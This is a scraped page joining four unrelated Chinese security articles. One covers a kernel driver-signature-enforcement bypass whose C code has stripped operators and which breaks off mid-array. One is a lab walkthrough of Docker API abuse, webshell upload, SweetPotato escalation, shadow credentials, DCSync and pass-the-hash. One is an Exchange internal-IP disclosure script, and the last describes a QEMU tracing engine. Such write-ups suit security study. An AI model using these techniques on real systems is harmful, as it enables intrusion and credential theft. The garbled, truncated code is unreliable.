如今，代碼簽名證書的洩露和針對驅動程序的漏洞利用已經成為司空見慣的事情，內核已經成為攻擊者新的狩獵場。隨著微軟推出基於虛擬化的安全（VBS）和管理程序代碼完整性（HVCI）等技術，我想知道面對具有Ring-0權限的攻擊者時，端點有多容易受到攻擊。



在這篇文章中，我們將探討一種用於禁用驅動程序強制簽名的常見技術，VBS是如何試圖阻止攻擊者利用這一點的；以及在沒有結合HVCI的情況下，繞過這種安全措施是多麼的輕鬆。



驅動程序強制簽名機制一段時間以來，Windows一直使用驅動強制簽名（DSE）機制來防止攻擊者將未簽名的驅動程序加載到內核中。這是一種非常有效的方法，可以確保攻擊者無法輕易繞過內核中實現的各種安全功能，例如通過破壞EPROCESS字段來繞過PPL（Process Protection Light，PPL）。



為了克服這個障礙，攻擊者有多條路可走。第一條路是向目標發送一個易受攻擊的驅動程序，該驅動程序符合所有的簽名要求，但允許攻擊者利用其缺陷進行內存修改，以便將未簽名的驅動程序加載到內核。第二條路是利用以前暴露的簽名證書給自己的驅動程序代碼簽名，這樣就可以將其直接加載到內核中了。而隨著最近越來越多的簽名證書被洩露，該技術已經成為了攻擊者的首選。



禁用驅動程序強制簽名機制那麼，如果我們想要禁用驅動程序強制簽名機制，又不想將OS重新引導至調試或測試模式，那該怎麼辦呢？實際上，在Windows的最新版本中，DSE是通過一個名為ci.dll的模塊實現的，並且在該模塊中公開了一個名為g_CiOptions的配置變量：



 1.png



這個配置變量具有許多可設置的標誌，但就本文來說，可以直接將其設置為0來完全禁用DSE，從而允許攻擊者加載未簽名的驅動程序。



在很長一段時間裡，作為一種將未簽名的驅動程序加載到操作系統中的簡單手段，都是堪稱完美的。但後來Windows10引入了VBS機制，這種方法就從此失效了。



基於虛擬化的安全保護機制如今，微軟在保護內核不被篡改方面做出了巨大的努力。 David Weston在2018年的Bluehat會議上發表了一篇精彩的演講，對個中緣由進行了全面的總結，其中主要的方面就是安全法則的不斷變化。諸如“如果攻擊者能說服受害者自己的電腦上運行其程序，那這台電腦就不再屬於攻擊者了”這樣的法則已經不再成立，因為微軟已經花了很大的力氣來提高操作系統的安全性，從而防止這種事情的發生。



微軟為提高內核的安全性而部署的技術之一被稱為“基於虛擬化的安全機制”。該機制在Windows 10和11系統中是默認啟用的，並提供了一個受管理程序保護的環境，來運行第二個“安全內核”，而運行在Ring-0級別上的傳統內核是無法觸及該環境的。



注意：就目前來說，許多人都把VBS和HVCI混為一談了。實際上，VBS並不是HVCI。 HVCI可以被看作是在VBS的保護傘下運行，但需要單獨的配置才能啟用。



那麼，VBS是如何防止用洩漏的證書或易受攻擊的驅動程序禁用驅動程序強制簽名機制的呢？為了弄清楚這一點，先讓我們看看CI.dll中g_CiOptions變量是如何解析的：



 1.png



我們可以看到，這裡使用了MmProtectDriverSection，它是作為一種叫做內核數據保護（KDP）的技術的一部分而提供的API。這個API的作用，就是確保傳遞內存地址時，在Ring-0中運行的代碼無法修改其內容。



即使我們試圖使用像WinDBG這樣連接到內核的程序（通過設置DebugFlags為0x10來啟用DSE），我們仍然無法更新存儲的值。



 1.png



這意味著，為了在VBS被啟用的情況下禁用DSE，我們必須另尋他法。



利用補丁技術禁用DSE對於熟悉AMSI繞過技術的讀者來說，對於接下來要介紹的方法肯定不會陌生：補丁技術。首先，我們需要知道在哪裡打補丁，所以，讓我們進入內核調試器會話，並在安全策略會進行審查的地方添加一個斷點。根據對CI.dll的了解，CiCheckPolicyBits函數看起來是一個下斷點的好地方。從這裡開始，如果嘗試加載一個未簽名的驅動程序，會看到如下所示的調用堆棧：



 1.png



就像上面看到的那樣，執行流程通過SeValidateImageHeader函數從內核進入CI，而該函數調用了CiValidateImageHeader函數。實際上，該函數的作用就是驗證驅動程序是否符合簽名要求。接下來，讓我們給SeValidateImageHeader添加一個斷點，看看CiValidateImageHeader在無法成功加載未簽名的驅動程序時會返回什麼。



 1.png



在我看來，這好像是一個NTSTATUS代碼。在幻數數據庫中的搜索結果顯示，c0000428對應於STATUS_INVALID_IMAGE_HASH。所以，我們可以推測，如果這個函數返回STATUS_SUCCESS，我們就可以繞過這個簽名檢查。幸運的是，我們也知道這個方法並不受內核數據保護的保護，所以，我們現在只需想出一個允許向這個內存位置執行寫操作的方法即可。



利用已簽名的驅動程序禁用DSE首先，讓我們創建一個簡單的驅動程序，以便將來用於禁用DSE。很明顯，這個程序在創建之後，必須用證書籤名才能加載。由於在下一節將變得很明顯的原因，我們將專注於通過讀/寫操作來植入CiValidateImageHeader。



我們先在內核中修改CiValidateImageHeader的內存保護。最直接的方法是直接修改虛擬地址的頁表項（PTE）。為了抓取CiValidateImageHeader的頁表項，我們首先需要找到一種方法，允許我們將虛擬地址轉換為其對應的PTE。



對於熟悉遊戲作弊技術的人來說，已經猜到在這種情況下可以使用的函數是MiGetPteAddress。關於這個方法的詳細介紹，請參閱@33y0re關於PTE覆蓋的相關文章。基本上，這個函數能夠找出稍後用到的PTE基址；下圖中，該地址為0FFFFCE8000000000，但在每次重啟後，該地址都會發生變化：



 1.png



為了找到這個函數，我們需要在內存中尋找一個字節簽名。為此，我們可以用下面的代碼來完成該任務：



void*signatureSearch(char*base,char*inSig,intlength,intmaxHuntLength){



for(inti=0;imaxHuntLength;i++){



if(base[i]==inSig[0]){



if(memcmp(base+i,inSig,length)==0){



returnbase+i;



}



}



}



returnNULL;



}



.通過在內存中搜索與MiGetPteAddress匹配的簽名，我們可以提取PTE的基址，並將虛擬地址解析為PTE位置：



charMiGetPteAddressSig[]={0x48,0xc1,0xe9,0x09,0x48,0xb8,0xf8,0xff,0xff,0xff,0x7f,0x00,0x00,0x00,0x48,0x23,0xc8,0x48,0xb8};



void*FindPageTableEntry(void*addr){



ULONG_PTRMiGetPteAddress=signatureSearch(ExAcquireSpinLockSharedAtDpcLevel,MiGetPteAddressSig,sizeof(MiGetPteAddressSig),0x30000);



if(MiGetPteAddress==NULL){



returnNULL;



}



ULONG_PTRPTEBase=*(ULONG_PTR*)(MiGetPteAddress+sizeof(MiGetPteAddressSig));



ULONG_PTRaddress=addr;



address=address9;



address=0x7FFFFFFFF8;



address+=(ULONG_PTR)PTEBase;



returnaddress;



}現在，我們已經能夠解析虛擬地址的PTE了，接下來，我們需要找到CivalidateImageHeader的虛擬地址。由於該函數不是由ci.dll導出的，因此，我們將再次通過簽名進行查找：



charCiValidateImageHeaderSig[]={0x48,0x33,0xc4,0x48,0x89,0x45,0x50,0x48,0x8b};



constintCiValidateImageHeaderSigOffset=0x23;



ULONG_PTRCiValidateImageHeader=signatureSearch(CiValidateFileObjectPtr,CiValidateImageHeaderSig,sizeof(CiValidateImageHeaderSig),0x100000);



if(CiValidateImageHeader==NULL){



return;



}



CiValidateImageHeader-=CiValidateImageHeaderSigOffset;一旦我們找到該地址，我們就可以獲得其PTE位置。為此，我們只需要對PTE中相應的位進行翻轉，從而迫使包含CiValidateImageHeader的內存頁變為是可寫的：



ULONG64*pte=FindPageTableEntry(CiValidateImageHeader);



*pte=*pte|2;當頁面設置為可寫時，我們接下來就可以用xor rax, rax; ret來修補函數的開頭部分；注意備份好原始指令，以便以後還原：



charretShell[]={0x48,0x31,0xc0,0xc3};



charorigBytes[4];



memcpy(origBytes,CiValidateImageHeader,4);



memcpy(CiValidateImageHeader,retShell,4);然後，恢復頁面保護：



*pte=*pte^2;



//Afterthis,pageprotectionisreverted完成上述操作後，讓我們嘗試加載未簽名的驅動程序：



演示視頻：https://youtu.be/uSNivgtM5BM



加載未簽名驅動程序後，要考慮的另一件重要事情，就是恢復以前打過補丁的函數，以避免PatchGuard從中作梗，具體如下所示：



*pte=*pte|2;



memcpy(CiValidateImageHeader,origBytes,4);



*pte=*pte^2;通過易受攻擊的驅動程序禁用DSE現在，讓我們考慮另一個場景：如果我們希望使用易受攻擊的驅動程序，而不是通過用洩露的證書籤名的惡意驅動程序禁用DSE的話，那該怎麼辦？正如我們在上面所看到的，我們所需要的只是一個易受攻擊的驅動程序中的讀/寫原語，並且，這些並非難事！



下面，讓我們詳細介紹如何使用易受攻擊的驅動程序來禁用DSE。在本例中，我們將使用Intel的iqvw64e.sys驅動程序，它已經流行了一段時間。由於我們這次不是在內核中執行代碼，所以，我們就必須執行一些額外的步驟來計算用戶模式下的地址。



首先，我們需要確定ntoskrnl.exe和ci.dll的基址。為此，我們可以使用NtQuerySystemInformation和SystemModuleInformation輕鬆實現這一點：



ULONG_PTRGetKernelModuleAddress(constchar*name){



DWORDsize=0;



void*buffer=NULL;



PRTL_PROCESS_MODULESmodules;



NTSTATUSstatus=NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemModuleInformation,buffer,size,size);



while(status==STATUS_INFO_LENGTH_MISMATCH){



VirtualFree(buffer,0,MEM_RELEASE);



buffer=VirtualAlloc(NULL,size,MEM_COMMIT|MEM_RESERVE,PAGE_READWRITE);



status=NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemModuleInformation,buffer,size,size);



}



if(!NT_SUCCESS(status))



{



VirtualFree(buffer,0,MEM_RELEASE);



returnNULL;



}



modules=(PRTL_PROCESS_MODULES)buffer;



for(inti=0;imodules-NumberOfModules;i++)



{



char*currentName=(char*)modules-Modules[i].FullPathName+modules-Modules[i].OffsetToFileName;



if(!_stricmp(currentName,name)){



ULONG_PTRresult=(ULONG_PTR)modules-Modules[i].ImageBase;



VirtualFree(buffer,0,MEM_RELEASE);



returnresult;



}



}



VirtualFree(buffer,0,MEM_RELEASE);



returnNULL;



}



.



ULONG_PTRkernelBase=GetKernelModuleAddress('ntoskrnl.exe');



ULONG_PTRciBase=GetKernelModuleAddress('CI.dll');接下來，我們需要進行簽名搜索。這裡最簡單的方法就是將我們的文件映射為SEC_IMAGE並在內存中搜索PE節：



void*mapFileIntoMemory(constchar*path){



HANDLEfileHandle=CreateFileA(path,GENERIC_READ,FILE_SHARE_READ,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL);



if(fileHandle==INVALID_HANDLE_VALUE){



returnNULL;



}



HANDLEfileMapping=CreateFileMapping(fileHandle,NULL,PAGE_READONLY|SEC_IMAGE,0,0,NULL);



if(fileMapping==NULL){



CloseHandle(fileHandle);



returnNULL;



}



void*fileMap=MapViewOfFile(fileMapping,FILE_MAP_READ,0,0,0);



if(fileMap==NULL){



CloseHandle(fileMapping);



CloseHandle(fileHandle);



}



returnfileMap;



}



void*signatureSearch(char*base,char*inSig,intlength,intmaxHuntLength){



for(inti=0;imaxHuntLength;i++){



if(base[i]==inSig[0]){



if(memcmp(base+i,inSig,length)==0){



returnbase+i;



}



}



}



returnNULL;



}



ULONG_PTRsignatureSearchInSection(char*section,char*base,char*inSig,intlength){



IMAGE_DOS_HEADER*dosHeader=(IMAGE_DOS_HEADER*)base;



IMAGE_NT_HEADERS64*ntHeaders=(IMAGE_NT_HEADERS64*)((char*)base+dosHeader-e_lfanew);



IMAGE_SECTION_HEADER*sectionHeaders=(IMAGE_SECTION_HEADER*)((char*)ntHeaders+sizeof(IMAGE_NT_HEADERS64));



IMAGE_SECTION_HEADER*textSection=NULL;



ULONG_PTRgadgetSearch=NULL;



for(inti=0;intHeaders-FileHeader.NumberOfSections;i++){



if(memcmp(sectionHeaders[i].Name,section,strlen(section))==0){



textSection=sectionHeaders[i];



break;



}



}



if(textSection==NULL){



returnNULL;



}



gadgetSearch=(ULONG_PTR)signatureSearch(((char*)base+textSection-VirtualAddress),inSig,length,textSection-SizeOfRawData);



returngadgetSearch;



}



.



constcharMiGetPteAddressSig[]={0x48,0xc1,0xe9,0x09,0x48,0xb8,0xf8,0xff,0xff,0xff,0x7f,0x00,0x00,0x00,0x48,0x23,0xc8,0x48,0xb8};



constcharCiValidateImageHeaderSig[]={0x48,0x33,0xc4,0x48,0


		

		
		

			

		

	
	


		
			



	

		

			


	
		HireHackking
	

			
		

	

	

		

			
说明
Unauthorized是一套难度为中等的靶场环境，完成该挑战可以帮助玩家了解内网渗透中的代理转发、内网扫描、信息收集、特权提升以及横向移动技术方法，加强对域环境核心认证机制的理解，以及掌握域环境渗透中一些有趣的技术要点。该靶场共有3个flag，分布于不同的靶机。
技术
FTP、Privilege Elevation、AD CS、Kerberos、域渗透
第一个flag
docker 未授权
通过外网信息收集，发现docker未授权
https://cloud.tencent.com/developer/article/1744943
xjxcto1pn2b14391.png
查看镜像
docker -H tcp://47.92.7.138:2375 images
a0zat0qdpvx14393.png
查看容器
docker -H tcp://47.92.7.138:2375 ps -a
vwfslauxbm314395.png
启动容器并将宿主机磁盘挂载到/mnt
docker -H tcp://47.92.7.138:2375 run -it -v /:/mnt --entrypoint /bin/bash ubuntu:18.04
0zeh0sqhw2y14397.png
写入公钥
在vps上生成秘钥，敲下回车后会有3个交互，第一个是文件名，默认是id_rsa，如需修改，自己输入一个文件名便可。第二与第三是密码与确认密码，是以后使用该公钥时要输入的密码，一般不设置，如有强烈的安全需求，自己设置便可。最后会生成两个文件id_rsa，id_rsa.pub。以.pub结尾的是公钥，另一个是私钥
ssh-keygen -t rsa
z2tbzzobbzg14399.png
将公钥其写入到目标机器宿主机的/root/.ssh/authorized_keys文件中
cd /mnt/root/.ssh/
echo "ssh-rsa AAAAB3NzaC1yc2......." > authorized_keys
i211tcrcdut14400.png
可以本地直接用私钥登录ssh
f01z021g3ca14401.png
查找flag，提示flag并不在这里
b02biunxwkn14402.png
mysql弱口令
查看本机开放的端口
netstat -aptn
r34u4qu1xvm14403.png
查看历史命令，找到mysql密码为123456，其实爆破也能爆破出来
history
mm02q2zmwln14404.png
访问mysql数据库
mysql -uroot -p123456

mysql> show databases;
mysql> use secret;
mysql> show tables;
mysql> select * from f1agggg01
获得第一个flag
3cvrvsmczm314405.png
‍第二个flag
横向渗透
上传npc设置代理，fscan扫描 172.22.7.0/24
172.22.7.67:8081 open
172.22.7.13:80 open
172.22.7.13:22 open
172.22.7.67:445 open
172.22.7.31:445 open
172.22.7.67:21 open
172.22.7.6:445 open
172.22.7.67:80 open
172.22.7.67:139 open
172.22.7.31:139 open
172.22.7.6:139 open
172.22.7.31:135 open
172.22.7.67:135 open
172.22.7.6:135 open
172.22.7.6:88 open
172.22.7.13:2375 open
[+] NetInfo:
[*]172.22.7.6
   [->]DC02
   [->]172.22.7.6
[*] 172.22.7.67          XIAORANG\WIN-9BMCSG0S  
[*] WebTitle:http://172.22.7.13        code:200 len:27170  title:某某装饰
[+] NetInfo:
[*]172.22.7.67
   [->]WIN-9BMCSG0S
   [->]172.22.7.67
[+] NetInfo:
[*]172.22.7.31
   [->]ADCS
   [->]172.22.7.31
[*] 172.22.7.31          XIAORANG\ADCS          
[*] 172.22.7.6     [+]DC XIAORANG\DC02          
[*] WebTitle:http://172.22.7.13:2375   code:404 len:29     title:None
[+] ftp://172.22.7.67:21:anonymous 
   [->]1-1P3201024310-L.zip
   [->]1-1P320102603C1.zip
   [->]1-1P320102609447.zip
   [->]1-1P320102615Q3.zip
   [->]1-1P320102621J7.zip
   [->]1-1P320102J30-L.zip
[*] WebTitle:http://172.22.7.67        code:200 len:703    title:IIS Windows Server
[*] WebTitle:http://172.22.7.67:8081   code:200 len:4621   title:公司管理后台
[+] http://172.22.7.13:2375 poc-yaml-docker-api-unauthorized-rce 
[+] http://172.22.7.67:8081/www.zip poc-yaml-backup-file
[+] http://172.22.7.13:2375 poc-yaml-go-pprof-leak 
FTP未授权
发现了http://172.22.7.67:8081/www.zip 备份压缩包 ，解压后发现download的文件夹与匿名登录的ftp的共享文件一致
ll2lpcmwmqq14406.png
因此可以通过ftp上传 webshell
atnrkjepv5v14407.png
shell地址
http://172.22.7.67:8081/download/shell.asp
bo0jelxc3hp14408.png
直接使用土豆提权，上传SweetPotato.exe
SweetPotato.exe -a "whoami"
5ubk5neouyw14409.png
经测试3389是开启的，直接添加账号然后登录
SweetPotato.exe -a "net user devyn Admin@123 /add"
SweetPotato.exe -a "net localgroup administrators devyn /add"
mumwo3av4l214410.png
获取flag
bytuvurfb3j14411.png
‍第三个flag
注意此新建的用户无法执行域命令，所以需要查询到域账号，然后使用PTH登录，如果找到密码可以直接登录，其实也可以直接在shell中执行mimikatz抓取Hash，这边远程桌面使用cmd执行方便一点
抓取到了域账户 zhangfeng/FenzGTaVF6En，重新使用域账号登录，注意用户名要填写 zhangfeng@xiaorang.lab
sci4f1aelxf14412.png
shadow-credentials
https://wiki.whoamianony.top/active-directory-methodology/shadow-credentials
以下账户拥有 msDS-KeyCredentialLink 属性的写入权限：
  • 域管理员账户
  • Key Admins 组中的账户
  • Enterprise Key Admins 组中的账户
  • 对 Active Directory 中的对象具有 GenericAll 或 GenericWrite 权限的帐户
  • 机器账户对自身的 msDS-KeyCredentialLink 属性拥有写入权限
zhangfeng账户在Key Admins组中，具有写入权限
ed31si4uflm14413.png
向域控制器的 msDS-KeyCredentialLink 属性添加 Shadow Credentials
Whisker.exe add /target:DC02$ /domain:xiaorang.lab /dc:DC02.xiaorang.lab
e1ao525p12v14414.png
添加成功后，程序提示命令，基于证书的身份验证请求TGT票据，注意提示命令的最后加上 /ptt
sv3vyhwcp5a14415.png
域控制器账户拥有特权，可以使用 Mimikatz 执行 DCSync 来导出域管哈希
mimikatz.exe "privilege::debug" "lsadump::dcsync /domain:xiaorang.lab /user:Administrator" exit
qmye3mt3j4v14416.png
哈希传递
proxychains python3 wmiexec.py -hashes 00000000000000000000000000000000:bf967c5a0f7256e2eaba589fbd29a382 Administrator@172.22.7.6
gwgowq4x24l14417.png
pgrr53ves0v14418.png

原文链接： https://zhuanlan.zhihu.com/p/581451146

		

		
		

			

		

	
	


		
			



	

		

			


	
		HireHackking
	

			
		

	

	

		

			
0x00 前言在滲透測試中，為了蒐集信息，常常需要從外網獲得Exchange服務器的內網IP，公開資料顯示msf的auxiliary/scanner/http/owa_iis_internal_ip插件支持這個功能，但是這個插件公開於2012年，已不再適用於Exchange 2013、2016和2019，本文將要介紹一種更為通用的方法，開源代碼，記錄細節。



0x01 簡介本文將要介紹以下內容：



owa_iis_internal_ip插件介紹



更為通用的方法



Python開源代碼



0x02 owa_iis_internal_ip插件介紹msf的auxiliary/scanner/http/owa_iis_internal_ip插件支持探測Exchange服務器的內網IP，對應kali系統下的位置為：/usr/share/metasploit-framework/modules/auxiliary/scanner/http/owa_iis_internal_ip.rb



github上的地址為：https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/scanner/http/owa_iis_internal_ip.rb



通過閱讀源碼，可以總結出實現原理：



設置HTTP協議為1.0並訪問特定URL



在返回數據中，如果狀態碼為401，在Header中的'WWW-Authenticate'會包含內網IP



在返回數據中，如果狀態碼位於300和310之間，在Header中的'Location'會包含內網IP



在提取IP時，使用正則表達式(192\.168\.[0-9]{1,3}\.[0-9]{1,3}|10\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}|172\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3})，這裡存在bug：只能篩選出格式為'192.168.*.*'的內網IP



為了修復這個bug，可以將正則表達式修改為([0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}|10\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}|172\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3})



注：



修改插件後需要執行命令reload_all來重新加載msf插件



修復上面的bug後，我在測試Exchange 2013、2016和2019時仍然無法獲得準確的內網IP



0x03 更為通用的方法這裡給出一種基於owa_iis_internal_ip插件的方法，使用Python實現，適用範圍更廣



思路如下：



利用Python設置HTTP協議為1.0並訪問特定URL，在報錯結果中暴露出Exchange服務器的內網IP



需要細節如下：



(1)Python設置HTTP協議為1.0



Python2：



importrequests



importhttplib



httplib.HTTPConnection._http_vsn=10



httplib.HTTPConnection._http_vsn_str='HTTP/1.0'Python3：



importrequests



fromhttpimportclient



client.HTTPConnection._http_vsn=10



client.HTTPConnection._http_vsn_str='HTTP/1.0'(2)設置訪問URL



owa_iis_internal_ip插件中提到的URL：



urls=['/Microsoft-Server-ActiveSync/default.eas',



'/Microsoft-Server-ActiveSync',



'/Autodiscover/Autodiscover.xml',



'/Autodiscover',



'/Exchange',



'/Rpc',



'/EWS/Exchange.asmx',



'/EWS/Services.wsdl',



'/EWS',



'/ecp',



'/OAB',



'/OWA',



'/aspnet_client',



'/PowerShell']經過多個環境的測試，更為精確的URL如下：



urls=['/OWA',



'/Autodiscover',



'/Exchange',



'/ecp',



'/aspnet_client'](3)測試代碼



#python3



importrequests



importurllib3



urllib3.disable_warnings()



fromhttpimportclient



client.HTTPConnection._http_vsn=10



client.HTTPConnection._http_vsn_str='HTTP/1.0'



try:



url='https://mail.test.com/OWA'



response=requests.get(url,verify=False)



print(response.status_code)



print(response.text)



print(response.headers)



exceptExceptionase:



print(e)回顯結果：



HTTPSConnectionPool(host='192.168.1.1', port=443): Max retries exceeded with url:/owa/auth/logon.aspx?url=https://192.168.1.1/OWA/reason=0 (Caused by NewConnectionError('



從報錯信息中，我們可以看到Exchange服務器的IP，這裡只需要加一個正則表達式host='(.*?)',即可提取出來IP



0x04 開源代碼完整的實現代碼已上傳至github，地址如下：



https://github.com/3gstudent/Homework-of-Python/blob/master/Exchange_GetInternalIP.py



代碼支持5種方式探測內網IP



目前測試結果顯示，該腳本支持Exchange 2010、2013、2016和2019，能夠穩定獲得內網IP



0x05 小結本文分析了msf的auxiliary/scanner/http/owa_iis_internal_ip插件，對於獲得Exchange服務器的內網IP，給出了一個更為通用的方法，開源代碼，記錄細節。


		

		
		

			

		

	
	


		
			



	

		

			


	
		HireHackking
	

			
		

	

	

		

			
Cannoli是一款面向qemu用戶的高性能跟踪引擎，是一個Rust 編寫的Python(Python 3.6.5) 編譯器，旨在評估對性能有負面影響的Python 語言特性。它可以記錄所執行的PC 以及內存操作的軌跡。



Cannoli 旨在以最小的QEMU 執行干擾記錄這些信息。這意味著QEMU 需要產生一個事件流，並將它們移交給另一個進程來處理更複雜的事件分析。在QEMU JIT執行期間進行分析會大大降低執行速度。



Cannoli可以每秒處理數十億條目標指令，可以處理多線程qemu-user應用程序，並允許多個線程使用來自單個QEMU線程的數據以並行處理跟踪。



性能要求QEMU中有一個trace模塊，可以對於一些函數進行跟踪，例如qemu_malloc， qemu_free等，對於QEMU本身的調試很用幫助。跟踪的一個大問題就是性能。許多簡單的解決方案(如使用Unicorn進行模擬)可能導致每秒只能得到100萬條左右的模擬指令。這聽起來可能很多，但是現代的x86處理器通常每個週期執行2條指令。如果你在4 GHz處理器上運行，運行或啟動需要1秒，通常會執行50 -100億條指令。簡而言之，以每秒1000 萬條指令的速度跟踪這樣的事情對於任何開發或研究週期來說都是非常緩慢的。



僅僅試圖獲取PC 的執行指令地址的完整日誌通常就很困難，更不用說記錄所有內存訪問。



這就不得不用到Cannoli了！



Cannoli 能夠執行QEMU 的完整跟踪，比基本QEMU 執行速度降低約20-80%。這意味著每秒可以獲得大約10 億條目標指令。不過，這會因你的CPU 時鐘頻率、系統噪聲等而有很大差異。我們稍後會詳細介紹性能，因為存在很多細微差別。 Cannoli 經過精心設計，可以將超過20 GiB/s的數據從單個QEMU 線程流式傳輸到多線程跟踪分析過程。



QEMU 補丁作為用戶，最好打個補丁，其中包含大約200 行新添加的內容。這些都是用#ifdef CANNOLI進行控制的，這樣，如果CANNOLI沒有定義，QEMU構建時就完全等同於沒有任何補丁。



這些補丁與用戶沒有太大的相關性，只是知道它們向QEMU添加了一個-cannoli標誌，該標誌期望獲得到共享庫的路徑。這個共享庫被加載到QEMU中，並在JIT的不同位置調用



要打補丁，運行執行以下命令：



git am qemu_patches.patch



Cannoli服務器加載到QEMU 中的共享庫稱為Cannoli 服務器。該庫在cannoli_server/src/lib.rs 中公開了兩個基本回調函數。



 3.png



這些掛鉤為用戶提供了一個機會來決定是否應該掛鉤給定的指令或內存訪問。返回true（默認值）會導致檢測指令。返回false 意味著沒有向JIT 添加任何檢測，因此QEMU以高速模擬的方式運行。



當QEMU提取目標指令時，將調用此API。在這種情況下，提取是模擬器的核心操作，它在其中反彙編目標指令，並將其轉換為IL 或JIT 到另一個架構中執行。由於QEMU緩存它已經提取的指令，這些函數被稱為'rarely'(與指令本身執行的頻率有關)，因此這是你應該放入智能邏輯以過濾掛鉤內容的位置。



如果掛載少量指令，該工具的性能消耗幾乎為零。 Cannoli旨在為完全跟踪提供非常低的消耗，但是如果你不需要完全跟踪，你應該在這個階段進行過濾。這從一開始就防止了JIT被檢測到，並為最終用戶提供了一種過濾機制。



Cannoli客戶端然後Cannoli 有一個客戶端組件，客戶端的目標是處理QEMU 產生的海量數據流。此外，Cannoli 的API 在設計時考慮了線程，因此單個線程可以在qemu-user 中運行，並且可以通過線程化分析來完成對該流的複雜分析，同時在QEMU 本身中獲得最大的單核性能。



Cannoli 公開了一個標準的Rust 特徵樣式接口，你可以在你的結構上實現Cannoli。作為這個特徵的實現者，你必須實現init。這是你為單線程可變上下文Self 以及多線程共享不可變上下文Self:Context 創建結構的位置。



然後，你可以選擇實現以下回調：



 4.png



這些回調是相對不言自明的，除了線程方面。三個主要的執行回調exec、read 和write 可以從多個線程並行調用。因此，這些不是按順序調用的。這是應該進行無狀態處理的地方。它們也只有對Self:Context 的不可變訪問，因為它們是並行運行的。這是進行任何不需要知道指令或內存訪問的順序/順序的處理的正確位置。例如，應在此處完成從pc 轉換為符號+ 地址的符號應用，以便你可以進行符號化跟踪。



所有主要的回調，exec、read 和write，都返回一個Option



然後，該跟踪通過跟踪回調完全按順序向用戶公開。跟踪回調函數是從各種線程調用的，例如，你可能在不同的TID 中運行，但是，它是否確保始終按順序和相對於執行的順序調用。因此，你可以獲得對self 的可變訪問，以及對共享Self:Context 的引用。



我知道這是一個奇怪的API，但它有效地允許並行處理跟踪，直到你絕對需要它是連續的。我希望它不會讓最終用戶感到困惑，但是處理10億條指令/秒的數據需要在消費者端進行線程處理，否則QEMU就會成為瓶頸！



注意：除非另有說明，否則此處的性能數據是基於我的Intel(R) Xeon(R) Silver 4310 CPU @ 2.10GHz。啟用超線程，啟用turbo，128 GiB RAM @ 2667 MHz w/8內存通道。



在高層次上，整個設計圍繞著大量數據的運營程序（在JIT 中運行的QEMU 線程）。對於Cannoli，我們專門針對QEMU 的QEMU 單線程吞吐量進行優化，以便我們可以對長時間運行或大型進程（如Web 瀏覽器）進行內省。



這與縮放不同，在縮放中你並不真正關心單個線程的性能，而是整個系統。在我們的示例中，我們希望支持每秒從單個QEMU 線程流式傳輸數十億條指令，同時使用線程用戶對這些數據進行相對複雜的分析。



基本基准在examples/benchmark中，你可以找到一個運行小mipsel二進製文件的基準，該二進製文件只是在一個循環中執行一堆nop。這意味著對PC跟踪的性能進行基準測試。



要使用此基準，請啟動基準客戶端：



cdexamples/benchmarkcargorun--release然後使用cannoli'd QEMU 運行基準測試！



/home/pleb/qemu/build/qemu-mipsel-cannoli~/cannoli/target/release/libcannoli_server.so./benchmark在示例中，我得到以下信息（在我的例子中，我使用了benchmark_graph）。



 7.png



在單個QEMU線程上跟踪大約每秒22億條指令。



Mempipe在低性能消耗的情況下獲得這種級別的跟踪需要一些非常獨特的設計。 Cannoli的核心是一個名為mempipe的庫。在高層次上，這是一種延遲極低的共享內存IPC機制。



最重要的是，JIT 掛鉤的設計是盡可能地減少消耗，特別注意分支預測、代碼大小（用於減少icache 污染）等細節，並註意目標架構的位數以減少運行32 位目標時產生的數據量。



事實上，你會發現幾乎所有的API，除了高級Cannoli 特徵，利用Rust 宏定義相同代碼的兩個副本，一個用於32 位目標，一個用於64 位目標。這略微增加了代碼複雜性，但當我們飽和內存帶寬時，我們希望特殊情況下，32位目標產生的有效數據只有1/2小指針大小。



核心mempipe IPC 機制允許在適合L1 緩存的進程之間傳輸緩衝區。由於這些緩衝區非常小，IPC 數據包的頻率非常高。這很難實現。我可以對1字節的有效負載每秒進行大約1000萬次傳輸。這有效地飽和了英特爾芯片對緩存一致性通信量所能做的事情。



緩存一致性如果你不熟悉緩存一致性，那麼你的處理器就是這樣做的，以確保內存在所有處理器上都是相同的值，即使它存儲在多個緩存中。



簡單的模型是MESI 模型。這定義了每個緩存行可以處於的狀態。



Modified ——存儲在高速緩存行中的數據是唯一準確的內存副本；



Exclusive ——存儲在緩存行中的數據是乾淨的（緩存行和內存中的數據相同），這是系統上緩存行中內存的唯一副本；



Shared ——存儲在高速緩存行中的數據是乾淨的，並且系統上有多個不同的高速緩存存儲相同的信息；



Invalid——在軟件層面對我們沒有任何意義，它只是意味著緩存行未使用；



 8.png



現在，現代處理器使用稍微複雜一些的緩存一致性模型，但我們在這裡不做深入探討。本質上是一樣的。



需要注意的是，任何時候內核需要同步它們的緩存，它們需要訪問L2緩存，有時甚至需要訪問內存。



進入修改狀態需要大量的性能消耗。想想看，為了獲得對內存的獨占訪問，你必須有效地使用鎖來獲得控制。從硬件的角度來看，你必須告訴其他所有的核心使其對給定行的緩存無效，並且在其他核心這樣做之前你不能獲得所有權。這實際上類似於執行Mutex:lock()。



然而，從專用到修改是便宜的。這是專用MESI 狀態的全部意義所在。它允許處理器知道它在轉換到修改時不必通知其他內核，因為它已經知道是內存的唯一副本。



之所以談這個，是因為在進行IPC 時，緩存一致性很重要。至關重要的是，在我們的熱循環中，我們不會導致緩存一致性流量。從更高的層次上來說，這意味著我們需要能夠通過只讀方式對所有數據結構進行熱輪詢。這允許多個用戶線程輪詢郵箱（例如，所有用戶都在輪詢處於共享狀態的緩存行）。當產生一個完整的緩衝區時，才會消耗寫入內存的緩存一致性。運營程序刷新緩衝區的行為將導致所有用戶核心的緩存失效，並且他們必須在後續訪問時通過L2 獲取內存。此獲取也必須將運營程序的緩存狀態從modified更改為shared。



